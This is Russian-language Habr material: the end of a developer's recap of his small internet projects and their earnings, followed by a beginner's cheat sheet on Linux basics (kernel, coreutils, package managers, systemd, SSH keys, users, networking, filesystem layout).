На её выпуск никто не обратил внимания, что очень разочаровало после успеха предыдущих постов.
К сожалению, код игры был утерян при замене ноутбука. Она по-прежнему работает, но *очень* забагованная. Впрочем, это не помешало кому-то [стримить её на Twitch](https://www.twitch.tv/videos/1413059800) в прошлом месяце.
* *Выпущен: **в июне 2020 года***
* *Скачиваний: **183***
* *Доход: **£0***
### [Магазин для одного товара](https://tinyprojects.dev/projects/one_item_store)
Затем я собрал генератор онлайнового микромагазина, продающего на повторе один и тот же товар; можно сказать, это крошечный Shopify.
Я работал над этим проектом в течение двух недель, а затем опубликовал его на Product Hunt.
Как ни странно, люди начали продавать в нём реальные товары, что позволило мне заработать аж целых 1,63 фунта (комиссионный сбор в 1%).
Хотя этого не хватило бы даже на гамбургер, я впервые ощутил вкус Интернет-денег, и как же он мне понравился!
Внезапно, спустя несколько месяцев после запуска One Item Store со мной связался покупатель с предложением его продать.
В результате удалось [продать его за 5300 долларов](https://tinyprojects.dev/posts/selling_a_tiny_project), и это взорвало мой крошечный мозг.
* *Запущен: **в июне 2020 года***
* *Просмотров страницы: **28 тысяч***
* *Доход: **£1,63***
### [Snormal](https://tinyprojects.dev/projects/snormal)
Завоевав мир электронной коммерции, я решил, что следующим логичным шагом будет создание социальной сети.
Спустя несколько недель была запущена Snormal: социальная сеть для публикации повседневной обычной информации типа «я покушал».
Оказалось, что подобную социальную сеть люди посещают без особой охоты, поэтому её веб-сайт практически мёртв.
Я забросил этот проект, но в него всё равно ежедневно приходит несколько пользователей.
* *Запущен: **в августе 2020 года***
* *Просмотров страницы: **9,8 тысяч***
* *Доход: **£0***
### [Earlyname](https://tinyprojects.dev/projects/earlyname)
Я регистрировался во множестве новых продуктов, чтобы сохранить за собой «редкое» имя пользователя, например, [ben](https://habr.com/ru/users/ben/). Мой следующий проект превратил это в бизнес.
Каждый месяц я отправлял рассылку с четырьмя новыми социальными сетями и сообщал, свободно ли выбранное имя пользователя.
За дополнительные 10 долларов в месяц можно было зарегистрировать эти имена на подписчиков.
Поработав над проектом месяц, я запустил «Earlyname» на Product Hunt, и, к своему удивлению, привлёк несколько платных клиентов.
В течение шести месяцев я отправлял рассылки, добившись дохода 350 долларов в месяц, но потом решил, что меня не радует его поддержка.
Уже имея опыт продажи одного проекта, я уверенно зарегистрировал Earlyname на MicroAcquire и [продал его за 10500 долларов](https://tinyprojects.dev/posts/selling_tiny_internet_projects_for_fun_and_profit).
* *Запущен: **в октябре 2020 года***
* *Просмотров страницы: **10 тысяч***
* *Доход: **$4,2 тысячи долларов в год***
### [Mailoji](https://tinyprojects.dev/projects/mailoji)
Однажды я заметил, что в адресах электронной почты можно использовать эмодзи-домены, например `hi@👋.kz`.
Осознав, что существует множество свободных эмодзи-доменов `.kz`, я решил, что будет здорово купить 300 казахстанских эмодзи-доменов и запустить сервис эмодзи-адресов электронной почты.
Месяц спустя после запуска у меня было 150 клиентов, но на самом деле бюджет ушёл в минус из-за оплаты доменных имён.
Как и в случае с остальными проектами, я написал пост в блог и выложил его на Hacker News.
В течение получаса пост никак себя не проявлял, а потом его популярность взлетела до небес. [Перевод поста [есть](https://habr.com/ru/company/productivity_inside/blog/547456/) на Хабре — прим. пер.]
За выходные было продано подписок на 9 тысяч долларов; самая большая сумма, которую мне удавалось заработать за такой короткий промежуток времени.
Mailoji по-прежнему живёт и процветает, теперь он имеет 700 эмодзи-доменов. Я коллекционирую их как покемонов: недавно поймал `❤️.gg`.
Теперь даже можно создавать адреса электронной почты, целиком состоящие из эмодзи, например, 🦄🚀@🍉.fm.
* *Запущен: **в марте 2021 года***
* *Просмотров страницы: **129 тысяч***
* *Суммарный доход: **$18,5 тысяч***
### [Paper Website](https://daily.tinyprojects.dev/paper_website)
Мне очень нравится писать ручкой на бумаге, и я хотел начать публиковать ежедневный блог.
За несколько недель был создан прототип приложения, позволяющего сделать снимок рукописной страницы и превратить его в веб-сайт.
Немного побаловавшись с написанием «бумажных блог-постов», я решил превратить прототип в полнофункциональный сервис Paper Website.
Я купил 100 блокнотов для раздачи первым клиентам и приготовился к запуску.
К счастью, сервис стартовал успешно. Свой бумажный веб-сайт создало более двухсот людей, и у меня на кухне осталось лишь несколько блокнотов.
Мой [ежедневный блог](https://daily.tinyprojects.dev) работает на Paper Website, и я написал от руки более ста бумажных блог-постов, ни разу не порезавшись бумагой.
* *Запущен: **в ноябре 2021 года***
* *Просмотров страницы: **69 тысяч***
* *Доход: **$9370 в год***
### Плюсы крошечных проектов
Быстро разрабатывать множество крошечных проектов очень интересно. И это основная причина, по которой мне нравится этим заниматься.
Однако после каждого запуска я постепенно учусь тому, что делает проект «успешным». После восьми запусков уже становятся заметными некие паттерны.
Кроме того, стало понял, какими микробизнесами мне нравится заниматься: я не люблю составлять рассылки, но люблю странные технические проекты, генерирующие пассивный доход. Я ни за что не узнал бы этого, запустив только один проект.
Самое лучшее в крошечных проектах то, что они настолько малы, поэтому ставки невероятно низки. Нет никакого давления — если какой-нибудь из них закончится неудачей, можно двигаться дальше без ощущения вины и попробовать заново.
Ещё один неожиданный выигрыш заключается в том, что за два года создания таких проектов мои навыки разработчика улучшились в десять раз. Я и раньше был хорош, но теперь нахожусь на другом уровне.
### Минусы крошечных проектов
Большой вопрос, стоит ли запускать кучу мелких проектов или сосредоточиться лишь на одном.
Лично мне нравится стратегия «микроставок», но я часто задаюсь вопросом, получилось бы ли добиться большего финансового успеха, если бы я уделил всё своё внимание одному проекту.
В настоящее время у меня три активных проекта, работающих на автопилоте. С тайм-менеджментом и переключением контекстов я справляюсь, но при пяти и более активных проектах это может стать уже затруднительным.
Ещё один странный недостаток заключается в том, что в процессе привлечения аудитории при создании этих проектов, я иногда задавался вопросом: «нужно ли создавать что-то только ради „лайков“».
Это соблазнительная мысль, потому что я знаю, что смог бы, и всё бы, скорее всего, получилось. Но мне кажется, что это верный путь к быстрому выгоранию.
### Выводы и будущее
Когда я приступил к этой миссии, у меня был большой список идей проектов, накопившихся в телефоне. Возможно, у вас есть подобный список.
Два года спустя мне стало понятно, что многие из этих первоначальных идей попросту ужасны.
Это парадокс, но я обнаружил, что мои лучшие идеи теперь появляются при реализации других идей.
В обычной жизни я никогда бы не подумал о сервисе эмодзи-адресов электронной почты, если бы не решился на глупый эксперимент с доменами и не купил [netflix.soy](https://netflix.soy).
Если у вас возник ступор с идеями, то рекомендую что-нибудь создать; что угодно, пусть даже это ужасно; гарантирую, что вскоре после этого в голове появится идея получше.
Каждый создаваемый мной проект содержит искру, взятую из предыдущего. Это похоже на то, как обезьяна скачет с лианы на лиану, только лианы — это проекты, а я всего лишь глупая обезьяна.
В дальнейшем хочу продолжать десятками лет работать над созданием крошечных проектов и с радостью жду появления новых идей.
Ну а пока время приступать к следующему проекту! | https://habr.com/ru/post/666654/ | null | ru | null |
# Что такое Linux? Статья-шпаргалка для новичков
### Что такое Linux?
Салют! Это статья — попытка систематизировать некие базовые знания об Linux’ах, которая может быть полезна для продвинутых пользователей, разработчиков и админов Windows, которые еще не имели (или имели крайне небольшой и отрывочный) опыт работы с Linux системами и не знают, с чего начать, однако хотят попробовать — сами, или по причине производственной необходимости. Каждый пункт содержит не исчёрпывающие сведения, а лишь отправные пункты для дальнейшего изучения (гуглежа) материала.
Содержание:
1. [Linux Kernel aka Ядро](https://habr.com/ru/company/timeweb/blog/668344/#what_is_linux)
2. [GNU Core Utilities (coreutils)](https://habr.com/ru/company/timeweb/blog/668344/#coreutils)
3. [Bash — интерпретатор командной строки](https://habr.com/ru/company/timeweb/blog/668344/#bash)
4. [Системы управления пакетами и пакетные менеджеры](https://habr.com/ru/company/timeweb/blog/668344/#package_managers)
5. [Init systems — системы инициализации](https://habr.com/ru/company/timeweb/blog/668344/#init_systems)
6. [systemd](https://habr.com/ru/company/timeweb/blog/668344/#systemd)
7. [Ваш первый вход на сервер](https://habr.com/ru/company/timeweb/blog/668344/#first_entry)
8. [Управляем пользователями](https://habr.com/ru/company/timeweb/blog/668344/#manage_users)
9. [Сети](https://habr.com/ru/company/timeweb/blog/668344/#networks)
10. [FHS — Filesystem Hierarchy Standard — навигация в файловых системах Linux](https://habr.com/ru/company/timeweb/blog/668344/#filesystem)
11. [Window system / display server — сервер экранов](https://habr.com/ru/company/timeweb/blog/668344/#window_system)
12. [Полезные ссылки и список литературы для изучения](https://habr.com/ru/company/timeweb/blog/668344/#links)
Если интересно — прыгайте под кат
### А что такое Linux?
Под именем Linux сегодня люди понимают одну из двух вещей:
1. Операционные Системы на базе GNU/Linux, или, как их по-другому называют, дистрибутивы. Наиболее популярные RedHat/CentOS, Debian, Ubuntu и другие. Маленькая часть из них была представлена на КДПВ :)
2. Ядро Linux и, опционально, набор программ GNU coreutils.
Несколько слов об ядре.
Давайте я расскажу вам чуть больше о GNU/Linux ядре.
Первое, вы должны знать, что все ядра ОС бывают трех типов:
* микроядро;
* монолит (Linux);
* гибрид (OS X, Windows 7).
Основная разница между монолитным и микроядром в том, что микроядра включают только:
* IPC (систему межпроцессного взаимодействия), управление памятью, планировщик и диспетчер.
В то время как монолитные ядра также включают в себя:
* Файловую систему (системы), драйвера, VFS (в случае с Linux kernel).
Ядро Линукса занимается:
* Управлением процессами.
* Управлением памятью.
* Взаимодействием с устройствами (через драйвера).
* Системными вызовами и безопасностью.
Все программы, запускаемые пользователем, работают в так называемом пользовательском пространстве (user space). Эти программы взаимодействуют с ядром через интерфейс системных вызовов (system call interface, SCI). Также, Ядро ограничивает доступ к ЦПУ, памяти для пользовательских программ, в то время как код из ядра имеет неограниченным доступ к ресурсам компьютера. Все пользовательские программы взаимодействуют с друг другом при помощи межпроцессной коммуникации (interprocess communication, IPC)
Так же, несмотря на то, что большинство считает Ядро монолитным, оно использует модули. Модули могут быть встроенными или подгружаемыми. Последние могут быть включены или выключены во время работы ОС. Больше про модули можно прочесть [на АрчВики](https://wiki.archlinux.org/title/Kernel_module)
C помощью вышеуказанных механизмов, Ядро может быть использовано для продвинутых настроек [безопасности](https://www.redhat.com/en/topics/security), [создание контейнеров](https://www.redhat.com/en/topics/containers), и [виртуальных машин](https://www.redhat.com/en/topics/virtualization/what-is-a-virtual-machine).
### GNU Core Utilities (coreutils)
GNU Core Utilities (coreutils) — набор программ, системных утилит, которые есть почти на всех GNU/Linux сборках. Он включают в себя:
**довольно много утилит**
* [chmod](https://manpages.debian.org/bullseye/coreutils/chmod.1.en.html) — изменяет разрешения на файлах;
* [chown](https://manpages.debian.org/bullseye/coreutils/chown.1.en.html) — изменяет владельца файла и его группу;
* [chroot](https://manpages.debian.org/bullseye/coreutils/chroot.8.en.html) — изменяет корневую (root) директорию;
* [cp](https://manpages.debian.org/bullseye/coreutils/cp.1.en.html) — копирует файлы и директории;
* [dd](https://manpages.debian.org/bullseye/coreutils/dd.1.en.html) — копирует, конвертирует файлы;
* [df](https://manpages.debian.org/bullseye/coreutils/df.1.en.html) — показывает свободное место на файловой системе;
* [du](https://manpages.debian.org/bullseye/coreutils/du.1.en.html) — показывает занятое место на файловой системе;
* [ln](https://manpages.debian.org/bullseye/coreutils/ln.1.en.html) — создаёт ссылки;
* [ls](https://manpages.debian.org/bullseye/coreutils/ls.1.en.html) — показывает содержимое директории;
* [mkdir](https://manpages.debian.org/bullseye/coreutils/mkdir.1.en.html) — создает директорию;
* [mv](https://manpages.debian.org/bullseye/coreutils/mv.1.en.html) — перемещает (переименовывает) файлы;
* [rm](https://manpages.debian.org/bullseye/coreutils/rm.1.en.html) — удаляет файлы;
* [rmdir](https://manpages.debian.org/bullseye/coreutils/rmdir.1.en.html) — удаляет пустые директории;
* [touch](https://manpages.debian.org/bullseye/coreutils/touch.1.en.html) — изменяет таймметку на или создает пустой файл;
* [basename](https://manpages.debian.org/bullseye/coreutils/basename.1.en.html) — выводит имя файла без пути до него, если указано, удаляет расширение файла;
* [cat](https://manpages.debian.org/bullseye/coreutils/cat.1.en.html) — выводит содержимое файла в терминал (стандартный вывод);
* [comm](https://manpages.debian.org/bullseye/coreutils/comm.1.en.html) — сравнивает построчно два файла;
* [cut](https://manpages.debian.org/bullseye/coreutils/cut.1.en.html) — выводит только определенные части строк из файла в терминал;
* [dirname](https://manpages.debian.org/bullseye/coreutils/dirname.1.en.html) — оставляет только путь, удаляя имя файла из его полного пути;
* [echo](https://manpages.debian.org/bullseye/coreutils/echo.1.en.html) — выводит в терминал строку текста;
* [expand](https://manpages.debian.org/bullseye/coreutils/expand.1.en.html), [unexpand](https://manpages.debian.org/bullseye/coreutils/unexpand.1.en.html) — конвертирует табы в пробелы и обратно;
* [false](https://manpages.debian.org/bullseye/coreutils/false.1.en.html) — возвращает ошибочный статус выхода из приложения;
* [fmt](https://manpages.debian.org/bullseye/coreutils/fmt.1.en.html) — форматтер текста;
* [fold](https://manpages.debian.org/bullseye/coreutils/fold.1.en.html) — разбивает строчку на сегменты фиксированной ширины;
* [head](https://manpages.debian.org/bullseye/coreutils/head.1.en.html) — выводит первую строку файла;
* [join](https://manpages.debian.org/bullseye/coreutils/join.1.en.html) — соединяет две строки из разных файлов по общему полю;
* [md5sum](https://manpages.debian.org/bullseye/coreutils/md5sum.1.en.html) — считает MD5 хэш;
* [paste](https://manpages.debian.org/bullseye/coreutils/paste.1.en.html) — соединяет строки файлов;
* [pr](https://manpages.debian.org/bullseye/coreutils/pr.1.en.html) — конвертирует файлы для печати;
* [seq](https://manpages.debian.org/bullseye/coreutils/seq.1.en.html) — выводит числовые последовательности;
* [sleep](https://manpages.debian.org/bullseye/coreutils/sleep.1.en.html) — приоставналивает выполнение на указанное время;
* [sort](https://manpages.debian.org/bullseye/coreutils/sort.1.en.html) — сортирует строки текстовых файлов;
* [split](https://manpages.debian.org/bullseye/coreutils/split.1.en.html) — разделяет файл на части;
* [tail](https://manpages.debian.org/bullseye/coreutils/tail.1.en.html) — выводит последнюю часть файла;
* [tee](https://manpages.debian.org/bullseye/coreutils/tee.1.en.html) — отправляет вывод в разные файлы;
* [test](https://manpages.debian.org/bullseye/coreutils/test.1.en.html) — проверяет типы файлов и сравнивает значения;
* [tr](https://manpages.debian.org/bullseye/coreutils/tr.1.en.html) — переводит или удаляет символы;
* [true](https://manpages.debian.org/bullseye/coreutils/true.1.en.html) — возвращает успешный статус выхода;
* [uniq](https://manpages.debian.org/bullseye/coreutils/uniq.1.en.html) — удаляет повторяющиеся строки в отсортированном файле;
* [wc](https://manpages.debian.org/bullseye/coreutils/wc.1.en.html) — выводит количество байт, слов и строк в файле;
* [yes](https://manpages.debian.org/bullseye/coreutils/yes.1.en.html) — выводит одну и ту же строчку;
* [date](https://manpages.debian.org/bullseye/coreutils/date.1.en.html) — выводит или устанавливает текущую дату и время;
* [env](https://manpages.debian.org/bullseye/coreutils/env.1.en.html) — выводит или изменяет текущие параметры окружения (environment);
* [groups](https://manpages.debian.org/bullseye/coreutils/groups.1.en.html) — выводит группы, в которых пользователей состоит;
* hostname — выводит или устанавливает имя компьютера;
* [id](https://manpages.debian.org/bullseye/coreutils/id.1.en.html) — выводит uid/gid пользователя;
* [nice](https://manpages.debian.org/bullseye/coreutils/nice.1.en.html) — изменяет приоритет планировщика;
* [pwd](https://manpages.debian.org/bullseye/coreutils/pwd.1.en.html) — — выводит текущую директорию (полный путь);
* [su](https://manpages.debian.org/bullseye/util-linux/su.1.en.html) — позволяет вам получить id другого пользователя (переключиться в него). Чуть больше особенностей [su в Debian](https://wiki.debian.org/sudo);
* [uname](https://manpages.debian.org/bullseye/coreutils/uname.1.en.html) — выводит системную информацию;
* [who](https://manpages.debian.org/bullseye/coreutils/who.1.en.html) — выводит список всех пользователей, которые сейчас залогинены в системе in;
* [whoami](https://manpages.debian.org/bullseye/coreutils/whoami.1.en.html) — выводит текущий id пользователя.
Также туда входят следующие утилиты:
chgrp, cksum, csplit, dir, dircolors, expr, factor, hostid, install, link, logname, mkfifo, mknod, nl, nohup, od, pathchk, pinky, printenv, printf, ptx, shred, stty, sum, sync, tac, tsort, tty, unlink, users, vdir
Мои коллеги очень просили добавить меня следующее: вы всегда можете получить справку, напечатав `man name\_of\_the\_tool`. Альтернативный вариант, чтобы получить справку, который является более-менее стандартным для всех CLI (command line interface) утилит, это `name\_of\_the\_tool --help`. Наконец, еще один вариант, где найти документацию на команду, это впечатать `info name\_of\_the\_tool`.
Теперь, когда мы уже чуть-чуть знаем об ядре, системных утилитах, нам нужно познакомиться еще с несколькими моментами, и мы сможем начать работать с нашей машиной под управлением GNU/Linux, и начать, пожалуй, стоит со среды, в которой выполняются все вышеуказанные программы — в командной строке Bash.
### Bash — интерпретатор командной строки
Теперь я хочу вам рассказать о командной строке в Linux. Командная строка — это интерфейс для ввода команд, а Bash — оболочка (shell) и интерпретатор команд. Большинство людей знакомы с command.com в DOS, Windows или более новым и продвинутым PowerShell, то вот сюрприз о Linux'e: их здесь много. Целое семейство разных интерпретаторов. Некоторые из них проще, другие сложнее, какие-то имеют маленький размер, и так далее. Факт в том, что если вы будете работать с Linux серверами, вы будете работать с одним из них.
Bash является оболочкой по умолчанию в Linux дистрибутивах на протяжении многих лет, и используется в RHEL/CentOS, Oracle Linux и так далее. Но у него есть популярные альтернативы: Dash (Debian, Ubuntu), zsh, и другие. Они все в целом похожи друг на друга, потому что поддерживают стандарт POSIX, но имеют небольшие отличия в деталях.
Bash — Bourne Again Shell, имя которого является игрой слов на тему Bourne — born (рожденный). Борн — фамилия автора оригинальной командной строки Bourne shell (1979) или просто shell для Version 7 Unix. Первая версия Bash была написана Брайаном Фоксом, и вышла в свет в 1989, как одна из попыток заменить проприетарный Bourne Shell открытым продуктом. В свою очередь, Bash, сохраняя совместимость с оригинальным интерпретатором, принёс много новых фич, а также взял некоторые идеи из других проектов. Так, команда `history` была “позаимствована” из проектов csh и ksh.
### Системы управления пакетами
В то время как в Windows, вы обычно идёте на какой-то сайт, скачиваете exe файл программы или инсталлятора, копируете или устанавливаете его, в Linux системах, обычно это делается по-другому. Хотя да, вы всё ещё можете скачать файл и установить его, но это считается наименее популярным методом установки.
Наиболее популярный — установка с помощью системы управления пакетами.
Любая из них делает следующее:
1. Устанавливает пакеты (программы), включая их зависимости.
2. Обновляет их.
3. Деинсталлирует их.
Почему я отдельно указал на установку зависимостей? Дело в том, что пока Windows программы обычно хранят их зависимости в той же папке, что и программа (\\*.dll файлы, к примеру), в Linux системах зависимости устанавливаются в общую для всех программ директорию с целью последующего переиспользования данных зависимостей и библиотек. Обычно, \\*.so — расширение файлов библиотек в Linux.
Конечно, с появлением платформы .Net Framework, проблема значительно облегчилась и тем самым сократилось количество необходимых зависимостей, но, тем не менее, это то, как это работает в Windows.
Linux путь предполагает написание маленьких вещей, которые делают хорошо одну задачу. В том числе поэтому здесь большое количество зависимостей и есть проблема с тем, чтобы содержать их в порядке.
Существуют две наиболее популярные системы управления пакетами для GNU/Linux.
Первая называется Yum (или DNF). В ней используется пакетный менеджер RPM (RPM Package Manager). Используется в следующих дистрах:
* RedHat Enterprise Linux/CentOS
* Fedora
* Oracle Enterprise Linux
* SUSE/OpenSUSE (опционально, а родной — zypper)
Вторая — Apt. В качестве пакетного менеджера использует dpkg. Наиболее популярные дистрибутивы с ней:
* Debian
* Ubuntu
* Linux Mint
Slackware, Arch используют свои собственные пакетные менеджеры: slackpkg и pacman.
Каждая Linux система, которая идет с предустановленной системой управления пакетами, содержит преднастроенные Интернет-репозитории (или, как иначе говорят, репы — такой вот жаргонизм). Так же, системный администратор может легко добавить свои собственные репозитории.
Наконец, если вы оказались в изолированной от Интернета сети, то вы можете установить пакеты из инсталляционных файлов с помощью пакетного менеджера
`rpm -i filename.rpm`
Это установит пакет в RHEL/CentOS, Fedora, Oracle Linux, SUSE/OpenSUSE
однако, лучше все же сделать вот так:
`dnf install https://mirror.yandex.ru/epel/9/Everything/x86_64/Packages/e/epel-release-9-3.el9.noarch.rpm
dnf install ./skype.rpm` — спасибо [aim](https://habr.com/ru/users/aim/)
`dpkg -i filename.deb`
однако, лучше все же сделать вот так:
`apt install ./filename.deb` — спасибо [WASD1](https://habr.com/ru/users/wasd1/)
Это установит пакет в Debian, Ubuntu, Linux Mint
Еще одна возможность для пользователей ПК. В последнее время, часть разработчиков софта для конечных пользователей решила использовать дистрибутиво-независимые пакетные менеджеры. Для этого, все зависимости упаковываются в один файл. Наиболее популярные варианты: Snap, Flatpak, AppImage. Первые два предлагают возможность обновление установленного через них ПО с помощью загрузки обновлений из их репозиториев, AppImage не имеет такой возможности. Snap идёт предустановленным в Ubuntu, начиная с 16.04 LTS.
### Система инициалиазации
Другая подсистема, которая не является частью Ядра, но является второй по значимости после него — это init система, которая используется для инициализации пользовательского пространства (user space) и управлением пользовательских процессов.
Здесь есть несколько альтернатив, давайте обозначим наиболее популярные из них:
* SysVinit (sysvinit, sysv, или просто 'init') — прямой потомок (порт) системы инициализации из ОС UNIX' System V. Был наиболее популярной системой инициализации на протяжении 20+ лет (1991-2011).
* Upstart — первая хорошая попытка заменить SysVinit, которая исправляла его недостатки, но позже популярность этого решения сошла на нет. Первоначально разработана Canonical в 2006. Сегодня единственная ОС (хоть и не GNU/Linux), которая его использует, это Chrome OS.
* OpenRC — легковесный, простой аналог sysvinit. Используется в Gentoo Linux, Alpine Linux, и некоторых других легких дистрибутивах.
* systemd — сегодняшнее решение в большинстве Linux дистрибах.
Особняком стоит Slackware, популярный дистрибутив, который использует собственное BSD-подобное решение в качестве системы инициализации.
В Линуксе, все процессы имеют номер (Process ID, PID). При загрузке ядро инициализирует все внутренние структуры и запускает первый пользовательский (user space) процесс с PID 1 — как правило, это система инициализации. Она же является родителем для любых пользовательских процессов. Кстати, полезная штука — в Linux отображаются не только PID собственно процесса, но и его родителя. Посмотреть родителей можно так:
`ps -efj`
Так случается, что в процессе завершения процессов, иногда остаются процессы, у которых не осталось родителя (технически, их родителем становится init) — такие процессы называются осиротевшими (orphaned processes) и указывают на возможное наличие проблем на данной системе. Другой момент, с которым тоже, возможно, придется столкнуться — это процессы, которые отображаются с состоянием `Terminated` (завершены). Такие процессы, в свою очередь, называются зомби -процессами (zombie-processes).
### systemd
Скорее всего, вы будете работать с этой системой инициализации. Самое главное, пожалуй, с чего стоит начать знакомство, это с утилит systemctl и journalctl. У первой довольной простой синтаксис
`systemctl command service`. К примеру, `systemctl status networking` покажет текущее состояние демона (службы) сетевых интерфейсов. `systemctl restart mysql` перезагрузит демона сервера MySQL. stop/start сделают остановку или запуск указанного демона.
Для отладки придётся часто заглядывать в журнал и искать там ошибки,
`journalctl -xe`.
С помощью systemd можно сделать из обычной программы программу-сервис.
Больше о systemd можно прочесть здесь: [en.wikipedia.org/wiki/Systemd](https://en.wikipedia.org/wiki/Systemd)
### Ваш первый вход на Linux сервер
Конечно, вы можете подключиться к серверу с помощью клавиатуры, мышки и монитора. Но обычно большинство людей подключаются к серверам удаленно. Для этих целей служит сервис (демон) sshd (ssh daemon, или ssh server). Он слушает 22 TCP порт. Позволяет подключаться как с логином-паролем, так и с помощью ключей. Настройки входа зависят от конкретной инсталляции.
В 10-ку, с определенного момента, встроен ssh клиент. Для более старых версий Windows есть клиент Putty — маленький, простой, бесплатный клиент для входа на удаленные Linux сервера. Должен отметить, что Putty не мог входить по обычной паре ключей и нуждался в ключе в формате ppk — [здесь инструкция](https://www.simplified.guide/putty/convert-ssh-key-to-ppk), как сконвертировать ключ в нужный формат.
Если вы хотите настроить вход по ключу, вам надо сгенерировать пару ключей (приватный и публичный), вписать содержимое публичного ключа на удаленном сервере в файл authorized\_keys, который расположен в папке `~/.ssh`. ~ — обозначает домашнюю директорию пользователя, '.' — что файл или папка — скрытые. Если папка не существует, её нужно создать командой `mkdir .ssh`, перейти в неё командой `cd .ssh`, далее создать файл `vi authorized_keys`. Важный момент — чтобы выйти из текстового редактора vi, нажмите `esc`, потом впечатайте `:wq` (выйти с записью). После этого нужно установить корректные разрешения на этот файл с помощью команды `chmod 0600 authorized_keys`. Где 0600 обозначает, что пользователю-владельцу разрешено читать (4) и изменять (2) — а потому, в сумме, 6 — этот файл, пользователям из его группы (0) и другим пользователям (0) не разрешено ничего с этим файлом.
А еще есть «человеческий» метод: `ssh-copy-id`
Кроме того, система разрешений еще может указывать на исполняемость файла (1). Так, к примеру, пользователь может разрешить другим пользователям запускать какой-то файл, и тогда права будут 0755 — себе полные права (4+2+1), остальные пользователи могут считать (4) и запустить (1) исполняемый файл.
Часто разрешения представлены в текстовой форме. Так, rwx значит 7, rw- значит 6, r-x значит 5, and so on. К примеру, r--r--r-- значит 444 — файл только для чтения для всех пользователей, включая владельца.
### Управление пользователями
В большинстве случаев новый сервер будет выдан с рутовой учетной записью (пользователем root), которая является суперпользователем (“админом” в терминах Линукс систем). Однако, очень рекомендуется не использовать root пользователя в ежедневной работе. Для этого, вам нужно научиться управлять пользователями. Это довольно просто и логично:
* `useradd` — создает нового пользователя, ключ -d позволяет указать домашнюю директорию;
* `usermod` — изменяет пользователя;
* `userdel -r` — удаляет пользователя и его домашнюю папку;
* `passwd $username` — меняет пароль пользователя.
Есть команда `chage (-l)`, которая позволяет установить (посмотреть) срок истечения пароля, а также есть опция для блокировки пользователя целиком или только для входа в систему (поведение и точная команда зависит от дистра)
### Сети
Раньше, наиболее популярным пакетом с сетевыми утилитами был net-tools. Он предоставлял такие утилиты как ifconfig (просмотр сетевых интерфейсов), netstat (просмотр сетевых соединений), и другие полезные утилиты.
Но всё течет, всё меняется, и теперь пакет net-tools не установлен по умолчанию, будучи замененным на более современный пакет iproute2.
Так, `ifconfig` был заменен на `ip addr`, `ip link`, `ip -s`;
`arp` заменен на `ip n`,
`iptunnel` на `ip tunnel`, `iwconfig` на `iw`, `nameif` на `ip link`.
`netstat` заменен на `ss`,
`netstat -r` на `ip route`,
`netstat -i` на `ip -s link`,
`netstat -g` на `ip maddr`.
Настройка и конфигурирование сетевых адаптеров имеет несколько «базовых» вариантов, поэтому лучше искать как это делается конкретно в вашем дистрибутиве (не забывая указывать его версию).
Так, к примеру, в RedHat настройки интерфейсов живут по адресу
`/etc/sysconfig/network-scripts/`.
В относительно старых Ubuntu
`/network/interfaces`,
а в новых всё делается через утилиту netplan, а сами конфиги можно найти здесь:
`/etc/network/interfaces`
В ряде систем (не везде) установлен [NetworkManager](https://wiki.archlinux.org/title/NetworkManager), и тогда статические конфигурации могут быть найдены здесь:
`/etc/NetworkManager/NetworkManager.conf`
Проверить, установлен ли у вас NetworkManager можно следующим путём:
`/usr/sbin/NetworkManager --version` или `nmcli --version`
В завещании, меня просили упомянуть
~~Васю~~ кхм, [systemd-networkd](https://wiki.archlinux.org/title/systemd-networkd_(%D0%A0%D1%83%D1%81%D1%81%D0%BA%D0%B8%D0%B9)). Исправился, упомянул.
Также стоит отметить про встроенный «файерволл» — в старых системах использовался iptables, который задавал правила для компонента ядра Netfilter; сейчас рекомендуется использовать утилиту ufw, надстройку над iptables, как обладающую более человекопонятным интерфейсом.
### FHS — стандарт иерархии файловой системы (Filesystem Hierarchy Standard)
Я когда-то любил простоту Windows. A:\ для флоппика (да, я достаточно старый), C:\ для системы, и зачастую, единственный диск вообще (если нет, то D:\ для дистрибутивов игр, фото и видео), и, наконец, E:\ для CD-ROM. Всё просто!
А теперь я покажу минимальный минимум, который вам встретится в большинстве дистрбов, лол:
/
/boot — файлы загрузчика
/dev — файлы устройств
/root — домашняя папка для пользователя root (опционально). Может быть слинковано с /home/root
/etc — хранит конфигурацию машины
/home — корневая директория для “хомяков” пользователей
/lib — хранит важные общие библиотеки и модули ядра
/media — точка монтирования к извлекаемым накопителям
/mnt — точка монтирования для временно подключенных файловых систем (флешки, внешние диски, сетевые диски)
/usr — сюда попадает установленное пользователями ПО
/opt — сюда тоже попадает установленное пользователями ПО
/var — здесь хранятся вещи, которые не статичны. К примеру, логи /var/logs
/sbin — системные исполняемые файлы
/bin — общие (расшаренные) исполняемые файлы
/srv — для хранения данных сервисов (веб-серверов, к примеру)
/tmp — временный раздел, данные в нём могут быть удалены при перезагрузке сервера, выходе пользователя, остановки сервиса и так далее.
Большинство файлов могут быть поделены на четыре группы по двум признакам:
“Расшариваемые”-”Не расшариваемые” (“shareable”-”unshareable”).
“Расшариваемые' файлы хранятся на одной машине и могут быть доступны с других. «Нерасшариваемые» — файлы, которые не предназначены для организации общего доступа.
“Статичные” — “Изменяемые (“static”-”variable”).
«Статичные» файлы включают в себя библиотеки, бинарники, документацию и тп, которые меняются только при участии системного администратора.
«Изменяемые» файлы это файлы, которые не статичны и могут быть изменены во время работы системы, пользователей или программ. К примеру, при организации резервного копирования, такие файлы нуждаются в более частом расписании бэкапов.
Понимание этого концепта облегчит понимание стандарта иерархии и организации файловой системы.
Кроме того, есть смысл сказать об inodes — файловых дескрипторов. Они содержат метаинформацию о создаваемых файлах, и, в некоторых инсталляциях, могут тупо закончиться, если вы пишете на диск много маленьких файлов (например, лог чата). При этом места свободного может быть много, но создать новые файлы вы не сможете. Проверить текущее состояние можно командой `df -hTi`.
Что хочется написать дополнительно — что если в Windows ФС по умолчанию — NTFS, то в Linux их гораздо больше, среди популярных стоит отметить — ext3, ext4, xfs, btrfs. Каждая используется в тех или иных дистрах, имеет свои преимущества и недостатки.
### Window server/Display system
Хорошо, теперь, когда вы начитаны о командной строке, вы думаете — ага, именно поэтому Linux не популярен среди обычных пользователей! К счастью, не по этой причине. Linux имеет два популярных сервера дисплеев на текущий момент: X11 server (легаси, но все еще самая популярная опция) и Wayland. Последний находится в экспериментальном статусе уже около десяти лет. Поверх дисплей сервера устанавливаются десктопные окружения (Desktop Environments, DE), которых ну очень много. Самые популярные: Gnome, KDE, Unity, и другие. Если установлен дисплей сервер и десктопное окружение, то система выглядит почти как обычный ПК. С окошками, рабочим столом, панелью и прочим.
### Полезные ссылки
